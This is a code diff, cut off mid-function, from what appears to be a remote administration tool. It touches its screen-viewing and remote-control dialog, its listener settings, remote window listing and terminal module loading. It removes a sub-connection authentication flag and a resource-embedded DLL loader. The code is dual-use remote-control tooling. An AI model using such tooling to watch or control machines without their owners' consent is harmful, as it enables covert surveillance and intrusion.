ON_WM_MOUSEWHEEL()
|
||||
ON_WM_MOUSEMOVE()
|
||||
ON_WM_MOUSELEAVE()
|
||||
@@ -499,7 +497,6 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
|
||||
ON_WM_LBUTTONDBLCLK()
|
||||
ON_WM_ACTIVATE()
|
||||
ON_WM_TIMER()
|
||||
ON_WM_ERASEBKGND()
|
||||
ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen)
|
||||
ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo)
|
||||
ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo)
|
||||
@@ -692,7 +689,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
if (m_bIsCtrl) {
|
||||
ImmAssociateContext(m_hWnd, NULL); // 控制模式:禁用 IME
|
||||
}
|
||||
m_bIsTraceCursor = !m_bIsCtrl; // 非控制状态,则跟踪鼠标
|
||||
m_bIsTraceCursor = FALSE; //不是跟踪
|
||||
m_ClientCursorPos.x = 0;
|
||||
m_ClientCursorPos.y = 0;
|
||||
m_bCursorIndex = 0;
|
||||
@@ -702,7 +699,6 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
|
||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
|
||||
|
||||
@@ -1610,19 +1606,6 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size)
|
||||
return false;
|
||||
}
|
||||
|
||||
// 跳过默认背景擦除:随帧重绘时若先 FillRect 灰色再 BitBlt 帧,会在两步之间
|
||||
// 出现"瞬时灰背景",启用远程光标(应用层 DrawIconEx)时尤其明显——光标随每帧重绘,
|
||||
// 灰一闪 → 帧覆盖 → 重画光标,循环看上去就是光标频繁闪烁。
|
||||
// adaptive/zoom 模式下 BitBlt/StretchBlt 覆盖整个客户区,本就不需要先擦;
|
||||
// m_bIsFirst(首帧未到达)仍走默认擦除以避免显示残留内容。
|
||||
BOOL CScreenSpyDlg::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
if (m_bIsFirst) {
|
||||
return __super::OnEraseBkgnd(pDC);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::OnPaint()
|
||||
{
|
||||
if (m_bIsClosed) return;
|
||||
@@ -1658,19 +1641,16 @@ void CScreenSpyDlg::OnPaint()
|
||||
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
|
||||
}
|
||||
|
||||
// 绘制框选矩形(左键放大用红色,右键截图用绿色,二者颜色错开避免误操作)
|
||||
if (m_bSelectingZoom || m_bSelectingShot) {
|
||||
CPoint ptStart = m_bSelectingZoom ? m_ptZoomStart : m_ptShotStart;
|
||||
CPoint ptCur = m_bSelectingZoom ? m_ptZoomCurrent : m_ptShotCurrent;
|
||||
COLORREF clr = m_bSelectingZoom ? RGB(255, 0, 0) : RGB(0, 180, 0);
|
||||
|
||||
// 绘制框选矩形
|
||||
if (m_bSelectingZoom) {
|
||||
CRect rcSelect;
|
||||
rcSelect.left = min(ptStart.x, ptCur.x);
|
||||
rcSelect.top = min(ptStart.y, ptCur.y);
|
||||
rcSelect.right = max(ptStart.x, ptCur.x);
|
||||
rcSelect.bottom = max(ptStart.y, ptCur.y);
|
||||
rcSelect.left = min(m_ptZoomStart.x, m_ptZoomCurrent.x);
|
||||
rcSelect.top = min(m_ptZoomStart.y, m_ptZoomCurrent.y);
|
||||
rcSelect.right = max(m_ptZoomStart.x, m_ptZoomCurrent.x);
|
||||
rcSelect.bottom = max(m_ptZoomStart.y, m_ptZoomCurrent.y);
|
||||
|
||||
HPEN hPen = CreatePen(PS_DASH, 1, clr);
|
||||
// 使用虚线边框绘制选择框
|
||||
HPEN hPen = CreatePen(PS_DASH, 1, RGB(255, 0, 0));
|
||||
HPEN hOldPen = (HPEN)SelectObject(m_hFullDC, hPen);
|
||||
HBRUSH hOldBrush = (HBRUSH)SelectObject(m_hFullDC, GetStockObject(NULL_BRUSH));
|
||||
Rectangle(m_hFullDC, rcSelect.left, rcSelect.top, rcSelect.right, rcSelect.bottom);
|
||||
@@ -2869,10 +2849,29 @@ void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
|
||||
}
|
||||
|
||||
// 将屏幕坐标转换为原图坐标
|
||||
if (!ScreenRectToImageRect(rcSelect, m_rcZoomSrc)) {
|
||||
return;
|
||||
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
|
||||
int dstW = m_CRect.Width();
|
||||
int dstH = m_CRect.Height();
|
||||
|
||||
if (m_bAdaptiveSize) {
|
||||
m_rcZoomSrc.left = (int)(rcSelect.left * m_wZoom);
|
||||
m_rcZoomSrc.top = (int)(rcSelect.top * m_hZoom);
|
||||
m_rcZoomSrc.right = (int)(rcSelect.right * m_wZoom);
|
||||
m_rcZoomSrc.bottom = (int)(rcSelect.bottom * m_hZoom);
|
||||
} else {
|
||||
m_rcZoomSrc.left = rcSelect.left + m_ulHScrollPos;
|
||||
m_rcZoomSrc.top = rcSelect.top + m_ulVScrollPos;
|
||||
m_rcZoomSrc.right = rcSelect.right + m_ulHScrollPos;
|
||||
m_rcZoomSrc.bottom = rcSelect.bottom + m_ulVScrollPos;
|
||||
}
|
||||
|
||||
// 限制在原图范围内
|
||||
m_rcZoomSrc.left = max(0L, min(m_rcZoomSrc.left, (LONG)srcW));
|
||||
m_rcZoomSrc.top = max(0L, min(m_rcZoomSrc.top, (LONG)srcH));
|
||||
m_rcZoomSrc.right = max(0L, min(m_rcZoomSrc.right, (LONG)srcW));
|
||||
m_rcZoomSrc.bottom = max(0L, min(m_rcZoomSrc.bottom, (LONG)srcH));
|
||||
|
||||
// 进入放大状态
|
||||
m_bZoomedIn = true;
|
||||
Invalidate();
|
||||
@@ -2898,145 +2897,6 @@ void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnRButtonDown(UINT nFlags, CPoint point)
|
||||
{
|
||||
// 非控制模式下:右键框选 → 截图保存。控制模式下右键由 PreTranslateMessage 转发给客户端。
|
||||
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
|
||||
// 与左键互斥:左键正在框选/拖拽时不接管右键,避免冲突
|
||||
if (m_bSelectingZoom || m_bZoomDragging) {
|
||||
return;
|
||||
}
|
||||
m_bSelectingShot = true;
|
||||
m_ptShotStart = point;
|
||||
m_ptShotCurrent = point;
|
||||
SetCapture();
|
||||
return;
|
||||
}
|
||||
__super::OnRButtonDown(nFlags, point);
|
||||
}
|
||||
|
||||
|
||||
void CScreenSpyDlg::OnRButtonUp(UINT nFlags, CPoint point)
|
||||
{
|
||||
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full && m_bSelectingShot) {
|
||||
ReleaseCapture();
|
||||
m_bSelectingShot = false;
|
||||
|
||||
CRect rcSelect;
|
||||
rcSelect.left = min(m_ptShotStart.x, point.x);
|
||||
rcSelect.top = min(m_ptShotStart.y, point.y);
|
||||
rcSelect.right = max(m_ptShotStart.x, point.x);
|
||||
rcSelect.bottom = max(m_ptShotStart.y, point.y);
|
||||
|
||||
// 太小视为误触(与左键放大同阈值)
|
||||
if (rcSelect.Width() < 20 || rcSelect.Height() < 20) {
|
||||
Invalidate(FALSE);
|
||||
return;
|
||||
}
|
||||
|
||||
CRect rcImage;
|
||||
if (ScreenRectToImageRect(rcSelect, rcImage) &&
|
||||
rcImage.Width() > 0 && rcImage.Height() > 0)
|
||||
{
|
||||
SaveRegionScreenshot(rcImage);
|
||||
}
|
||||
Invalidate(FALSE); // 清掉绿色选框
|
||||
return;
|
||||
}
|
||||
__super::OnRButtonUp(nFlags, point);
|
||||
}
|
||||
|
||||
|
||||
// 屏幕(窗口)选框 → 原图坐标,考虑放大状态、自适应、滚动
|
||||
bool CScreenSpyDlg::ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage)
|
||||
{
|
||||
if (!m_BitmapInfor_Full) return false;
|
||||
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
|
||||
if (srcW <= 0 || srcH <= 0) return false;
|
||||
|
||||
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
|
||||
// 放大状态:屏幕坐标 → 当前可视的子区域内的原图坐标
|
||||
int dstW = m_CRect.Width();
|
||||
int dstH = m_CRect.Height();
|
||||
if (dstW <= 0 || dstH <= 0) return false;
|
||||
double scaleX = (double)m_rcZoomSrc.Width() / dstW;
|
||||
double scaleY = (double)m_rcZoomSrc.Height() / dstH;
|
||||
rcImage.left = (int)(m_rcZoomSrc.left + rcScreen.left * scaleX);
|
||||
rcImage.top = (int)(m_rcZoomSrc.top + rcScreen.top * scaleY);
|
||||
rcImage.right = (int)(m_rcZoomSrc.left + rcScreen.right * scaleX);
|
||||
rcImage.bottom = (int)(m_rcZoomSrc.top + rcScreen.bottom * scaleY);
|
||||
} else if (m_bAdaptiveSize) {
|
||||
rcImage.left = (int)(rcScreen.left * m_wZoom);
|
||||
rcImage.top = (int)(rcScreen.top * m_hZoom);
|
||||
rcImage.right = (int)(rcScreen.right * m_wZoom);
|
||||
rcImage.bottom = (int)(rcScreen.bottom * m_hZoom);
|
||||
} else {
|
||||
rcImage.left = rcScreen.left + m_ulHScrollPos;
|
||||
rcImage.top = rcScreen.top + m_ulVScrollPos;
|
||||
rcImage.right = rcScreen.right + m_ulHScrollPos;
|
||||
rcImage.bottom = rcScreen.bottom + m_ulVScrollPos;
|
||||
}
|
||||
|
||||
// 限制在原图范围内
|
||||
rcImage.left = max(0L, min(rcImage.left, (LONG)srcW));
|
||||
rcImage.top = max(0L, min(rcImage.top, (LONG)srcH));
|
||||
rcImage.right = max(0L, min(rcImage.right, (LONG)srcW));
|
||||
rcImage.bottom = max(0L, min(rcImage.bottom, (LONG)srcH));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
// 把原图中 [rcImage] 区域裁出来,写成独立 BMP(24bpp 或 32bpp 由源图决定)
|
||||
void CScreenSpyDlg::SaveRegionScreenshot(const CRect& rcImage)
|
||||
{
|
||||
if (!m_BitmapInfor_Full || !m_BitmapData_Full) return;
|
||||
if (rcImage.Width() <= 0 || rcImage.Height() <= 0) return;
|
||||
|
||||
auto path = GetScreenShotPath(this, m_IPAddress, _TR("位图文件(*.bmp)|*.bmp|"), "bmp");
|
||||
if (path.empty()) return;
|
||||
|
||||
// 源 DIB 是 BGR 24bpp 或 BGRA 32bpp,bottom-up(biHeight > 0)
|
||||
const BITMAPINFOHEADER& srcHdr = m_BitmapInfor_Full->bmiHeader;
|
||||
int bpp = srcHdr.biBitCount;
|
||||
if (bpp != 24 && bpp != 32) return; // 仅支持当前实际使用的两种位深
|
||||
int srcW = srcHdr.biWidth;
|
||||
int srcH = srcHdr.biHeight;
|
||||
int srcStride = ((srcW * bpp + 31) / 32) * 4;
|
||||
|
||||
int dstW = rcImage.Width();
|
||||
int dstH = rcImage.Height();
|
||||
int dstStride = ((dstW * bpp + 31) / 32) * 4;
|
||||
int dstSize = dstStride * dstH;
|
||||
|
||||
std::vector<BYTE> dstPixels(dstSize, 0);
|
||||
const BYTE* srcBase = (const BYTE*)m_BitmapData_Full;
|
||||
|
||||
// bottom-up:原图第 y 行(从顶起算)位于 srcBase + (srcH - 1 - y) * srcStride
|
||||
int byteX = rcImage.left * (bpp / 8);
|
||||
int copyBytes = dstW * (bpp / 8);
|
||||
for (int y = 0; y < dstH; ++y) {
|
||||
int srcRowFromTop = rcImage.top + y;
|
||||
int srcRowOffset = (srcH - 1 - srcRowFromTop) * srcStride + byteX;
|
||||
int dstRowOffset = (dstH - 1 - y) * dstStride;
|
||||
memcpy(&dstPixels[dstRowOffset], &srcBase[srcRowOffset], copyBytes);
|
||||
}
|
||||
|
||||
// 拼装 BITMAPINFO(裁剪后只需要 BITMAPINFOHEADER;24/32bpp 不需要调色板)
|
||||
BITMAPINFO dstBmi = {};
|
||||
dstBmi.bmiHeader = srcHdr;
|
||||
dstBmi.bmiHeader.biWidth = dstW;
|
||||
dstBmi.bmiHeader.biHeight = dstH;
|
||||
dstBmi.bmiHeader.biSizeImage = dstSize;
|
||||
dstBmi.bmiHeader.biCompression = BI_RGB;
|
||||
|
||||
if (WriteBitmap(&dstBmi, dstPixels.data(), path)) {
|
||||
m_strSaveNotice = path;
|
||||
m_nSaveNoticeTime = GetTickCount64();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
BOOL CScreenSpyDlg::OnMouseWheel(UINT nFlags, short zDelta, CPoint pt)
|
||||
{
|
||||
// Convert screen coordinates to client coordinates
|
||||
@@ -3066,11 +2926,6 @@ void CScreenSpyDlg::OnMouseMove(UINT nFlags, CPoint point)
|
||||
Invalidate(FALSE); // FALSE表示不擦除背景,减少闪烁
|
||||
return;
|
||||
}
|
||||
if (m_bSelectingShot) {
|
||||
m_ptShotCurrent = point;
|
||||
Invalidate(FALSE);
|
||||
return;
|
||||
}
|
||||
|
||||
if (m_bZoomDragging) {
|
||||
// 拖拽平移:计算偏移量并移动放大区域
|
||||
@@ -3205,33 +3060,21 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
|
||||
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
|
||||
{
|
||||
m_bIsCtrl = ctrl;
|
||||
m_bIsTraceCursor = !m_bIsCtrl;
|
||||
// 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选
|
||||
if (m_bIsCtrl) {
|
||||
if (m_bZoomedIn) ResetZoom();
|
||||
if (m_bSelectingShot) {
|
||||
m_bSelectingShot = false;
|
||||
if (GetCapture() == this) ReleaseCapture();
|
||||
Invalidate(FALSE);
|
||||
}
|
||||
// 进入控制模式时重置放大状态
|
||||
if (m_bIsCtrl && m_bZoomedIn) {
|
||||
ResetZoom();
|
||||
}
|
||||
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
|
||||
// 控制模式:禁用本地 IME;查看模式:启用本地 IME
|
||||
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
|
||||
CMenu* SysMenu = GetSystemMenu(FALSE);
|
||||
if (SysMenu) {
|
||||
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
|
||||
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd)
|
||||
{
|
||||
// 捕获丢失时重置框选/拖拽状态
|
||||
if (m_bSelectingZoom || m_bZoomDragging || m_bSelectingShot) {
|
||||
if (m_bSelectingZoom || m_bZoomDragging) {
|
||||
m_bSelectingZoom = false;
|
||||
m_bZoomDragging = false;
|
||||
m_bSelectingShot = false;
|
||||
Invalidate();
|
||||
}
|
||||
__super::OnCaptureChanged(pWnd);
|
||||
|
||||
@@ -233,16 +233,9 @@ public:
|
||||
CPoint m_ptZoomDragStart; // 拖拽起点(用于点击检测)
|
||||
CPoint m_ptZoomDragLast; // 拖拽上一点(用于增量计算)
|
||||
|
||||
// ========== 区域截图(右键框选) ==========
|
||||
bool m_bSelectingShot = false; // 是否正在右键框选截图
|
||||
CPoint m_ptShotStart; // 右键框选起点(屏幕坐标)
|
||||
CPoint m_ptShotCurrent; // 右键框选当前点(屏幕坐标)
|
||||
|
||||
void ResetZoom(); // 重置放大状态
|
||||
CPoint ScreenToImage(CPoint pt); // 屏幕坐标转原图坐标
|
||||
CPoint ImageToScreen(CPoint pt); // 原图坐标转屏幕坐标
|
||||
bool ScreenRectToImageRect(const CRect& rcScreen, CRect& rcImage); // 选框坐标→原图坐标
|
||||
void SaveRegionScreenshot(const CRect& rcImage); // 保存裁剪区域为 BMP
|
||||
|
||||
CString m_aviFile;
|
||||
CBmpToAvi m_aviStream;
|
||||
@@ -319,8 +312,6 @@ public:
|
||||
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
|
||||
afx_msg void OnLButtonDown(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnRButtonDown(UINT nFlags, CPoint point);
|
||||
afx_msg void OnRButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg BOOL OnMouseWheel(UINT nFlags, short zDelta, CPoint pt);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnMouseLeave();
|
||||
@@ -356,7 +347,6 @@ public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnPaint();
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
BOOL OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message);
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
|
||||
@@ -378,11 +378,6 @@ public:
|
||||
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
|
||||
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
|
||||
|
||||
// 子连接身份校验:客户端发 TOKEN_CONN_AUTH 通过验证后置位。
|
||||
// 主连接(走 TOKEN_LOGIN 流程)不参与此机制。当前阶段宽容(未通过也接受),
|
||||
// 仅作为标记供后续命令处理 / 未来收紧策略使用。
|
||||
std::atomic<bool> m_bAuthenticated{false};
|
||||
|
||||
// 预分配的解压缩缓冲区,避免频繁内存分配
|
||||
PBYTE DecompressBuffer = nullptr;
|
||||
ULONG DecompressBufferSize = 0;
|
||||
@@ -515,11 +510,7 @@ public:
|
||||
// 注意:到达这里时,RemoveStaleContext 应该已经等待 IoRefCount==0
|
||||
IsRemoved.store(false, std::memory_order_release);
|
||||
IoRefCount.store(0, std::memory_order_release);
|
||||
// 复用对象池时清空校验状态
|
||||
m_bAuthenticated.store(false, std::memory_order_release);
|
||||
}
|
||||
void SetAuthenticated(bool v) { m_bAuthenticated.store(v, std::memory_order_release); }
|
||||
bool IsAuthenticated() const { return m_bAuthenticated.load(std::memory_order_acquire); }
|
||||
uint64_t GetAliveTime()const
|
||||
{
|
||||
return time(0) - OnlineTime;
|
||||
|
||||
@@ -17,7 +17,7 @@ CSettingDlg::CSettingDlg(CMy2015RemoteDlg* pParent)
|
||||
, m_nListenPort("6543")
|
||||
, m_nMax_Connect(0)
|
||||
, m_sScreenCapture(_T("GDI"))
|
||||
, m_sScreenCompress(_T("算法自适应"))
|
||||
, m_sScreenCompress(_T("RGBA->RGB565"))
|
||||
, m_nReportInterval(5)
|
||||
, m_sSoftwareDetect(_T("摄像头"))
|
||||
, m_sPublicIP(_T(""))
|
||||
@@ -154,15 +154,12 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
|
||||
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
|
||||
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
||||
|
||||
m_nListenPort = nPort.c_str();
|
||||
|
||||
int n = algo.IsEmpty() ? ALGORITHM_DIFF : atoi(algo.GetString());
|
||||
switch (n) {
|
||||
case ALGORITHM_NUL:
|
||||
m_sScreenCompress = _L(_T("算法自适应"));
|
||||
break;
|
||||
case ALGORITHM_GRAY:
|
||||
m_sScreenCompress = _L(_T("灰度图像传输"));
|
||||
break;
|
||||
@@ -178,11 +175,10 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
default:
|
||||
break;
|
||||
}
|
||||
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_NUL, "算法自适应");
|
||||
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_GRAY, "灰度图像传输");
|
||||
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_DIFF, "屏幕差异算法");
|
||||
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_H264, "H264压缩算法");
|
||||
m_ComboScreenCompress.InsertStringL(1+ALGORITHM_RGB565, "RGBA->RGB565");
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_GRAY, "灰度图像传输");
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_DIFF, "屏幕差异算法");
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_H264, "H264压缩算法");
|
||||
m_ComboScreenCompress.InsertStringL(ALGORITHM_RGB565, "RGBA->RGB565");
|
||||
|
||||
m_ComboScreenCapture.InsertStringL(0, "GDI");
|
||||
m_ComboScreenCapture.InsertStringL(1, "DXGI");
|
||||
@@ -249,7 +245,7 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
|
||||
int n = m_ComboScreenCapture.GetCurSel();
|
||||
THIS_CFG.SetInt("settings", "DXGI", n);
|
||||
|
||||
n = m_ComboScreenCompress.GetCurSel() - 1;
|
||||
n = m_ComboScreenCompress.GetCurSel();
|
||||
THIS_CFG.SetInt("settings", "ScreenCompress", n);
|
||||
|
||||
THIS_CFG.SetInt("settings", "ReportInterval", m_nReportInterval);
|
||||
|
||||
@@ -3,7 +3,6 @@
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||||
#include "SystemDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
@@ -86,8 +85,6 @@ BOOL CSystemDlg::OnInitDialog()
|
||||
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
|
||||
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
|
||||
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
|
||||
// 工程是 MBCS,但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容,
|
||||
// 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。
|
||||
ShowWindowsList();
|
||||
}
|
||||
|
||||
@@ -173,11 +170,6 @@ void CSystemDlg::ShowWindowsList(void)
|
||||
char *szTitle = NULL;
|
||||
bool isDel=false;
|
||||
|
||||
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||||
// 注意:m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空;
|
||||
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||||
UINT cp = GetClientEncoding(m_ContextObject);
|
||||
|
||||
DeleteAllItems();
|
||||
CString str;
|
||||
int i ;
|
||||
@@ -189,28 +181,10 @@ void CSystemDlg::ShowWindowsList(void)
|
||||
str.FormatL("%5u", *lpPID);
|
||||
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
|
||||
m_ControlList.InsertItem(i, str); // 句柄
|
||||
|
||||
// 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入,
|
||||
// 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
|
||||
std::wstring wTitle;
|
||||
if (attrs.szTitle[0]) {
|
||||
int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
|
||||
if (wlen > 0) {
|
||||
wTitle.resize(wlen - 1);
|
||||
MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
|
||||
}
|
||||
}
|
||||
LVITEMW lvItemW = {};
|
||||
lvItemW.mask = LVIF_TEXT;
|
||||
lvItemW.iItem = i;
|
||||
lvItemW.iSubItem = 1;
|
||||
lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
|
||||
::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
|
||||
(WPARAM)i, (LPARAM)&lvItemW);
|
||||
|
||||
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII)
|
||||
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII)
|
||||
// ItemData 为窗口句柄;Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
|
||||
m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题
|
||||
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态
|
||||
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID
|
||||
// ItemData 为窗口句柄
|
||||
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
|
||||
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
|
||||
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||
|
||||
@@ -40,9 +40,6 @@ inline PFN_IsTerminalValid pfnIsTerminalValid = nullptr;
|
||||
inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr;
|
||||
inline HMODULE g_hTerminalModule = nullptr;
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName);
|
||||
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset);
|
||||
|
||||
// Load the TerminalModule DLL
|
||||
inline bool LoadTerminalModule()
|
||||
{
|
||||
@@ -81,18 +78,7 @@ inline bool LoadTerminalModule()
|
||||
}
|
||||
|
||||
if (!g_hTerminalModule) {
|
||||
DWORD fileSize = 0;
|
||||
BYTE* dllData = ReadResource(IDR_MODERN_TERMINAL, fileSize, NULL);
|
||||
if (!dllData)
|
||||
return false;
|
||||
char fullPath[MAX_PATH];
|
||||
strcpy_s(fullPath, exePath);
|
||||
strcat_s(fullPath, "TerminalModule_x64.dll");
|
||||
WriteBinaryToFile(fullPath, (char*)dllData, fileSize, 0);
|
||||
delete[] dllData;
|
||||
g_hTerminalModule = LoadLibraryA(fullPath);
|
||||
if (!g_hTerminalModule)
|
||||
return false;
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get function pointers
|
||||
@@ -136,35 +122,6 @@ inline bool IsTerminalModuleLoaded()
|
||||
return g_hTerminalModule != nullptr;
|
||||
}
|
||||
|
||||
// Check if current process is running as LocalSystem (S-1-5-18).
|
||||
// 用途:WebView2 / msedgewebview2.exe 子进程拒绝在 SYSTEM token 下渲染(Microsoft
|
||||
// 官方限制),此时 Modern Terminal 会打开但页面空白,需要回退到经典终端。
|
||||
// 结果缓存,因为进程 token 在生命周期内不会变。
|
||||
inline bool IsRunningAsSystem()
|
||||
{
|
||||
static int cached = -1;
|
||||
if (cached >= 0) return cached == 1;
|
||||
|
||||
bool isSystem = false;
|
||||
HANDLE hToken = nullptr;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||
BYTE buf[256] = {};
|
||||
DWORD len = 0;
|
||||
if (GetTokenInformation(hToken, TokenUser, buf, sizeof(buf), &len)) {
|
||||
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
|
||||
PSID pSystemSid = nullptr;
|
||||
if (AllocateAndInitializeSid(&ntAuth, 1, SECURITY_LOCAL_SYSTEM_RID,
|
||||
0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {
|
||||
isSystem = EqualSid(((TOKEN_USER*)buf)->User.Sid, pSystemSid) != FALSE;
|
||||
FreeSid(pSystemSid);
|
||||
}
|
||||
}
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
cached = isSystem ? 1 : 0;
|
||||
return isSystem;
|
||||
}
|
||||
|
||||
// Check if WebView2 Runtime is installed (cached)
|
||||
inline bool IsWebView2Available()
|
||||
{
|
||||
|
||||
@@ -44,7 +44,7 @@
|
||||
|
||||
// 程序版本号 [建议格式: X.Y.Z]
|
||||
// 影响:关于对话框、标题栏
|
||||
#define BRAND_VERSION "1.3.3"
|
||||
#define BRAND_VERSION "1.3.2"
|
||||
|
||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||
|
||||
@@ -1468,24 +1468,8 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
|
||||
CString version = ctx->GetClientData(ONLINELIST_VERSION);
|
||||
device["version"] = AnsiToUtf8(version);
|
||||
|
||||
// 活动窗口编码由客户端能力位决定:新客户端是 UTF-8,老客户端是 CP_ACP(默认 936)。
|
||||
// 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
|
||||
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||
std::string activeWindowU8;
|
||||
if (!activeWindow.IsEmpty()) {
|
||||
UINT cp = GetClientEncoding(ctx);
|
||||
